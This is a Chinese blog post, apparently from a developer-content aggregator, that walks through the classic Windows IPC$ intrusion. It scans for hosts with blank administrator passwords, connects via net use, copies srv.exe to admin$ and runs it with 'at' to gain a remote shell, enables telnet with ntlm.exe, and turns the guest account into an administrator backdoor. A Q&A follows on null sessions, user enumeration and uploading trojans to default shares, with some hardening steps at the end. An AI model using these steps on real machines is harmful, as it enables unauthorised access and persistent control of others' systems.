概述
如何建立远程IPC$连接
要建立远程IPC$连接必须具备以下条件:
1、有超管的密码;
2、远程机开启了Sever服务项,一般都开了,除非是高手知道多一点;
3、了解以下Net Use之类的命令。
先用X-scan扫一下哪些机子有ipc漏洞,或者超管密码为空的。比如得到IP 192.168.0.1.。先Ping一下,确保他在线。然后在Windows下的虚拟Dos下(即cmd)输入:
net use \ 192.168.0.1 ipc$ "密码“ /user:"adminstrator"
运行成功后可以通过本机的注册表或服务项远程连接,在第一个下拉菜单里有该命令。远程更改服务或注册表。
也可以把肉鸡的共享盘影射到本机的我的电脑。
net use z:\192.168.0.1c$
完成后就可以在我的电脑里看到z盘符,即远程机的c盘。
利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。
经典IPC$入侵
1. C:>net use \127.0.0.1IPC$ "" /user:"admintitrators"
这是用"流光"扫到的用户名是administrators,密码为"空"的IP地址(气好到家如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连
接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名
,输入administrators,命令即可成功完成。
2. C:>copy srv.exe \127.0.0.1admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的
c:winntsystem32,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:>net time \127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
4. C:>at \127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊.
5. C:>net time \127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备
开始下面的命令。
6. C:>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的
是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打
算建立一个Telnet服务!这就要用到ntlm了
7.C:>copy ntlm.exe \127.0.0.1admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:WINNTsystem32>ntlm
输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这
个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使
用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作
一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:>net user guest /active:yes
将对方的Guest用户激活
11. C:>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我
们可以用guest再次访问这台计算机
一台计算机怎么能访问另一台计算机的所有资源???还有什么是远程协助啊???
悬赏分:0 - 解决时间:2006-3-28 20:30
提问者: wxy5174 - 试用期 一级
最佳答案
在黑客众多的入侵手段中,通过IPC$入侵成为目前比较常见的一种方式,其攻击步骤甚至可以说已经成为经典的入侵模式,许多朋友非常想搞清楚这是怎么回事。知己知彼,方能百战不殆,基于这种考虑,我们来了解一下这种入侵方式的基础知识。
IPC是Internet Process Connection的缩写,也就是远程网络连接。它是Windows NT/2000/XP特有的一项功能,就是在两个计算机进程之间建立通信连接。一些网络通信程序之间通信可以建立在IPC上面。打个比方,IPC连接就像是挖好的地道,程序可通过地道访问远程主机。默认情况下,IPC是共享的,也就是说微软已经为我们挖好了这个地道(IPC),因此,这种基于IPC的入侵也常常被简称为IPC入侵。
IPC后面的$是共享的意思,不过是隐藏的共享,微软系统中用“$”表示隐藏的共享,比如C$就是隐藏的共享C盘。也就是说C盘是共享的,但是C盘没有那个“托手”标志。IPC$是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码!当然对方机器必须打开IPC$共享,否则你是连接不上的。而利用这个空的连接,连接者还可以得到目标主机上的用户列表。
问:建立IPC连接需要什么条件?
答:建立IPC连接要求双方都是基于NT架构的系统。Windows Me/98/95都不可以。
问:怎么才能建立IPC连接呢?需要什么黑客工具呢?
答:建立IPC连接不需要任何黑客工具,在Windows里敲命令行就行了,但需要知道远程主机的用户名和密码。打开CMD后用如下命令:net use\ipipc$ "password" /user:"username"进行连接。注意,如果远程服务器没有监听139或445端口,会话是无法建立的。也就是说IPC$需要对方开启139或445端口。
问:建立IPC$之后黑客能做什么?
答:如果黑客使用管理员权限的账号和目标连接IPC$,他就可以和对方系统做深入“交流”了。黑客可以使用各种命令行方式的工具,比如pstools系列、Win2000SrvReskit、telnethack等获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享(没开的话,黑客会帮你开),黑客就可以上传木马并运行,也可以用tftp、ftp的办法上传,而dwrcc、VNC、RemoteAdmin等工具(木马)还具有直接控屏的功能,直接控制我们。如果是Win2000 server,黑客还会考虑开启终端服务以方便控制。
问:别人无法和自己建立IPC$是否意味着我就不能和对方建立IPC$呢?
答:不是的!发起IPC$和被建立IPC$是两个不同的概念。别人无法和自己建立IPC$并不影响自己是否能够和他人建立IPC$。
问:我听说有个空连接,这是怎么回事呢?
答:简单说来,空连接即不需要用户名和密码就可以建立IPC连接,但是这种连接是得不到什么权限的。建立空连接的命令:net use \IPipc$ "" /user:""。空连接是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据Win2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话无法在系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是无法在SAM数据库中找到,属于系统内置的账号),这个访问令牌包含下面伪装的组:Everyone,Network;在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。
问:空连接有什么用?
答:对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问Everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对Win2000作用更小,因为在Win2000和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的IPC$入侵来看,空连接是一个不可缺少的跳板,因为我们从它那里可以得到用户列表,空连接还可以列举用户和组,目标系统类型等。这对于一个老练的黑客已经足够了。
问:如何利用空连接得到远程主机的用户列表
答:首先,先建立一个空会话(需要目标开放ipc$),用命令:net use \ipipc$ "" /user:""即可建立空连接。然后用命令:net view \IP命令查看远程主机的共享资源,如果对方开了共享,就可以列出共享名、类型及其注释。最后再使用nbtstat -A IP命令就可以得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)。注意,建立IPC$连接的操作会在EventLog中留下记录,不管你是否登录成功。
问:空连接和IPC$是一回事吗?
空连接和IPC$是不同的概念。空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。IPC$是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限。IPC$连接可以实现远程登陆及对默认共享的访问。
问:IPC$是个漏洞吗?
许多文章中都提到了IPC$漏洞,其实,IPC$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。所有的这些,其初衷都是为了方便管理员的管理,但一些别有用心者会利用IPC$访问共享资源,导出用户列表,并使用字典工具进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。从这个角度来说,IPC$常常被黑客所利用。
问:IPC$连接成功后,我用net uset kkk /add命令建立了一个账户,却发现这个账户在我自己的机器上,这是怎么回事?
答:IPC$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell之后,你才能在远程建立一个账户,否则你的操作只是在本地进行。
问:我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?
答:这说明你与目标主机建立了一个以上的IPC$连接,这是不允许的,把其他的删掉吧。用如下命令计量:net use \*.*.*.*ipc$ /del。
问:IPC$与默认共享有什么联系?
答:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问,前提是对方没有关闭这些默认共享。
问:只要对方开放了139端口或者445端口就可以建立IPC$吗?
答:这种想法不一定正确!139、445端口开放了未必可以建立IPC$,但IPC$可建立则表示对方的139端口或445端口开放了。
问:怎样映射和访问默认共享?
答:使用命令net use z: \目标IPc$ "密码" /user:"用户名"命令,将对方的c盘映射为自己的z盘,其他盘类推。
如果已经和目标建立了IPC$,则可以直接用IP加盘符加$访问。比如执行copy muma.exe\IPd$pathmuma.exe命令,或者再映射也可以,只是无需用户名和密码了,例如输入:net use y:\IPd$命令。然后再执行copy muma.exe y:pathmuma.exe即可。当路径中包含空格时,须用""将路径全引住。
问:如何删除映射和ipc$连接?
答:用命令net use \IPipc$ /del可以删除和一个目标的IPC$连接。用命令net use z: /del删除映射的Z盘,其他盘类推。而用命令net use * /del可以删除全部,在删除时会有提示要求按“y”键确认。
问:如何防范IPC$入侵?
答:首先要禁止空连接进行枚举(此操作并不能阻止空连接的建立)。运行regedit,找到:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA下的DWORD值RestrictAnonymous的键值改为:00000001。
然后输入net share察看本地共享资源,接下来输入如下命令删除共享:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f等盘符可以同法删除)
接下来用记事本编辑如下内容的注册表文件,保存为任意名字的.Reg文件,使用时双击即可关闭默认共享和IPC$:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]
"AutoShareServer"=dword:00000000
"AutoSharewks"=dword:00000000
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]
"RestrictAnonymous"=dword:00000001
注意,上面的代码最后面一定要空上一行,否则不会成功。其中,键值AutoShareServer对应C$、D$一类的缺省共享,键值AutoSharewks对应ADMIN$缺省共享,键值RestrictAnonymous对应IPC$空连接。
除了上面的方法,你也可以通过屏蔽139,445端口来防范别人通过IPC$来入侵,因为没有139,445端口的支持是无法建立IPC$的,因此屏蔽139,445端口同样可以阻止IPC$入侵。139端口可以通过禁止NBT来屏蔽,方法是:选择本地连接→TCP/IP属性→高级→WINS→禁用TCP/IP上的NETBIOS即可(图1)。445端口可以通过修改注册表来屏蔽方法是:打开注册表到HKEY_LOCAL_MACHINESystemControlsetServicesNetBTParameters下,新建预告DWORD值SMBDeviceEnabled,将其键值设为0,然后修改完后重启机器即可。
最后
以上就是苗条悟空为你收集整理的如何建立远程IPC$连接的全部内容,希望文章能够帮你解决如何建立远程IPC$连接所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复